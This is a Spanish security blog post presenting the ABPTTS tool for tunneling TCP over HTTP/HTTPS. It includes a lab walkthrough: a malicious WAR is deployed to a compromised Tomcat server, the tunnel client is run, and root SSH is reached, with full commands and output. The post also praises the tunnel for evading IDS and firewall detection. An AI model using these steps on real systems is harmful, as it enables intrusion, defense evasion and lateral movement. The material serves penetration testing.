A Black Path Toward The Sun: herramienta para crear un túnel TCP sobre HTTP/HTTPS

Los servidores de aplicaciones web son uno de los puntos de entrada más visibles de una organización por lo que suelen bastionarse y restringirse su perímetro filtrando los puertos mediante firewalls (permitiendo normalmente sólo HTTP y HTTPS desde Internet) y añadiendo una capa de seguridad extra mediante algún WAF y/o IPS. Sin embargo por su propia idiosincrasia, las 'webapps' y los 'webservices' suelen tener fallos que pueden comprometer el servidor, ya sea por un desarrollo no seguro que permite alguna inyección o upload arbitrario o por algún "despiste" en su administración como el uso de credenciales por defecto o de contraseñas predecibles o débiles.

El resultado muchas veces es la capacidad de ejecución remota de comandos (RCE) en la máquina o incluso la obtención de una webshell, que sin embargo y como comentamos puede verse muy limitada en su uso por la infrastructura de red y seguridad perimetral que protege al servidor de aplicaciones. Por ejemplo, es muy común que no se permita la salida a Internet desde el servidor arruinándonos las conexiones inversas e incluso bloquear ICMP o DNS hacia fuera haciendo lo propio al intentar establecer un túnel por esos protocolos.

La solución pasa por establecer un túnel TCP a través del servidor de aplicaciones web usando su propio interfaz HTTP/HTTPS. Esto permite establecer directamente una sesión RDP, un SSH interactivo, meterpreter, subir/bajar ficheros con mayor facilidad, etc. y por supuesto, pivotar para continuar con el movimiento lateral.

Para esto ya conocíamos reGeorg o node-http-tunnel, pero en el arsenal de la BlackHat de 2016 se presentó otra herramienta que es una maravilla... Se llama 'A Black Path Toward The Sun' o ABPTTS que provee dos componentes principales:

- un cliente en Python que escucha conexiones TCP y se encarga de la traducción entre los datos en crudo (raw) y las peticiones HTTP que son enviadas al componente servidor

- una página o un paquete que se sube al servidor (actualmente disponibles en JSP/WAR y ASP.NET) y que levanta un listener para recibir las peticiones HTTP del cliente y convertirlas en datos raw que son enviados a través de un segundo listener que levanta el servidor de aplicaciones

Como veis su objetivo cliente-servidor es establecer un túnel TCP sobre HTTP/HTTPS. Además este túnel se cifra con AES128 lo que dificulta la detección por firmas por parte de IDS/IPS/WAF y dejando como única alternativa la inspección manual u otras técnicas.

A continuación veremos un ejemplo de un escenario muy típico: un servidor Tomcat que hemos comprometido accediendo al Manager mediante la obtención de las credenciales, ya sea por fuerza bruta o leyendo el fichero tomcat-users.xml (mediante un path traversal o similar). 

Lo primero que haremos será descargar el código de GitHub (está disponible bajo licencia GPLv2):
git clone https://github.com/nccgroup/ABPTTS.git

Para después crear el .war que debemos subir y desplegar en el servidor Tomcat:
python ./abpttsfactory.py -o tomcat_walkthrough
[2016-09-09 18:17:11.653436] ---===[[[ A Black Path Toward The Sun ]]]===---
[2016-09-09 18:17:11.654354]    --==[[        -  Factory  -        ]]==--
[2016-09-09 18:17:11.654569]             Ben Lincoln, NCC Group
[2016-09-09 18:17:11.654754]            Version 1.0 - 2016-07-30
[2016-09-09 18:17:11.662950] Output files will be created in "/home/vmotos/ABPTTS/tomcat_walkthrough"
[2016-09-09 18:17:11.663336] Client-side configuration file will be written as "/home/vmotos/ABPTTS/tomcat_walkthrough/config.txt"
[2016-09-09 18:17:11.663545] Using "/home/vmotos/ABPTTS/data/american-english-lowercase-4-64.txt" as a wordlist file
[2016-09-09 18:17:11.712408] Created client configuration file "/home/vmotos/ABPTTS/tomcat_walkthrough/config.txt"
[2016-09-09 18:17:11.719011] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/abptts.jsp"
[2016-09-09 18:17:11.724532] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/abptts.aspx"
[2016-09-09 18:17:11.726044] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/war/WEB-INF/web.xml"
[2016-09-09 18:17:11.737039] Created server file "/home/vmotos/ABPTTS/tomcat_walkthrough/war/META-INF/MANIFEST.MF"
[2016-09-09 18:17:11.743834] Prebuilt JSP WAR file: /home/vmotos/ABPTTS/tomcat_walkthrough/OxyacetyleneConductor.war
[2016-09-09 18:17:11.743959] Unpacked WAR file contents: /home/vmotos/ABPTTS/tomcat_walkthrough/war


Una vez que tengamos la webapp "maliciosa" podemos verificar accediendo a la url y viendo el mensaje aleatorio que genera el script (API status):

Ahora ya sólo tenemos que irnos a la máquina del atacante para ejecutar el cliente. En el ejemplo reenviaremos el puerto local 22222 al puerto 22 del interfaz de loopback del servidor que tiene instalado el Tomcat:
python2.7 ./abpttsclient.py -c tomcat_walkthrough/config.txt -u http://172.16.217.129:8080/OxyacetyleneConductor/OxyacetyleneConductor.jsp -f 127.0.0.1:22222/127.0.0.1:22
[2016-09-10 00:50:33.542329] ---===[[[ A Black Path Toward The Sun ]]]===---
[2016-09-10 00:50:33.542511]    --==[[       -  Client  -          ]]==--
[2016-09-10 00:50:33.542559]             Ben Lincoln, NCC Group
[2016-09-10 00:50:33.542612]            Version 1.0 - 2016-07-30
[2016-09-10 00:50:33.549999] Listener ready to forward connections from 127.0.0.1:22222 to 127.0.0.1:22 via http://172.16.217.129:8080/OxyacetyleneConductor/OxyacetyleneConductor.jsp
[2016-09-10 00:50:33.550138] Waiting for client connection to 127.0.0.1:22222

Y finalmente ya sólo nos queda comprobar que tenemos acceso al servicio SSH del servidor Tomcat comprometido:
$ ssh -p 22222 root@127.0.0.1
root@127.0.0.1's password: 

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@servidor:~# whoami
root

Como veis el túnel TCP sobre HTTP ha funcionado y tenemos acceso a un servicio del servidor de aplicaciones cuyo acceso desde Internet está denegado por un firewall, que a su vez tampoco es capaz de detectar y bloquear el túnel. Like a boss!

Fuente: https://github.com/nccgroup/ABPTTS

Comentarios